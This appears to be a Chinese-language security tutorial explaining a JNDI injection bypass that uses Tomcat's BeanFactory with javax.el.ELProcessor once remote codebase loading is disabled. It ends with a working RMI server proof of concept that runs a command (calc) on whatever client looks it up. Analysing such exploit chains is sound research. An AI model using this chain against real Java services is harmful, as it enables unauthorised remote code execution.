在JDK 6u132 7u122 8u113开始,trustURLCodebase默认为了false,其实意思就是不能加载远程RMI代码了。
本篇主要是讲解BeanFactory绕过方式
//检索此引用引用的对象的工厂位置。String getFactoryClassLocation()
结合493行代码可以看到。会抛异常。
但是绕过此处if的话,可以将ref.getFactoryClassLocation()返回null,也就是说让ref对象的classFactoryLocation为null即可绕过
之后跟进NamingManager.getObjectInstance
首先分析ref.getFactoryClassName();逻辑
其实这个factory就是子类传过来的
而这个子类就是ResourceRef,在RMI传参时传入了BeanFactory
最终通过Reference来返回 org.apache.naming.factory.BeanFactory
接着回到NamingManager中,所以此时的factory就是BeanFactory
也就是说最终会调用到BeanFactory.getObjectInstance()中
继续跟进
public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment)throws NamingException {Reference ref = (Reference) obj;String beanClassName = ref.getClassName();//获取ELProcess这个类路径的字符串ClassLoader tcl = Thread.currentThread().getContextClassLoader();// 1. 反射获取类对象if (tcl != null) {//tcl为AppClassLoader,用来获取这个类对象beanClass = tcl.loadClass(beanClassName);} else {beanClass = Class.forName(beanClassName);}// 2. 初始化类实例 调用ELProcess这个类的无参构造Object bean = beanClass.getConstructor().newInstance();// 3. 根据 Reference 的属性查找 setter 方法的别名RefAddr ra = ref.get("forceString");String value = (String)ra.getContent();//x=eval// 4. 循环解析别名并保存到字典中for (String param: value.split(",")) {param = param.trim();index = param.indexOf('=');if (index >= 0) {//进行分割操作。x和eval分别存到变量中setterName = param.substring(index + 1).trim();param = param.substring(0, index).trim();} else {setterName = "set" +param.substring(0, 1).toUpperCase(Locale.ENGLISH) +param.substring(1);}forced.put(param, beanClass.getMethod(setterName, paramTypes));}// 5. 解析所有属性,并根据别名去调用 setter 方法Enumeration<RefAddr> e = ref.getAll();while (e.hasMoreElements()) {ra = e.nextElement();String propName = ra.getType();String value = (String)ra.getContent();Object[] valueArray = new Object[1];Method method = forced.get(propName);if (method != null) {valueArray[0] = value;method.invoke(bean, valueArray);}}}
最终是通过反射执行
代码如下:
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(7777);//注册中心绑定的端口//绑定的恶意类// Reference reference = new Reference("T","T","http://127.0.0.1:80");//RemoteReferenceResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",true, "org.apache.naming.factory.BeanFactory", null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("RCE",referenceWrapper);}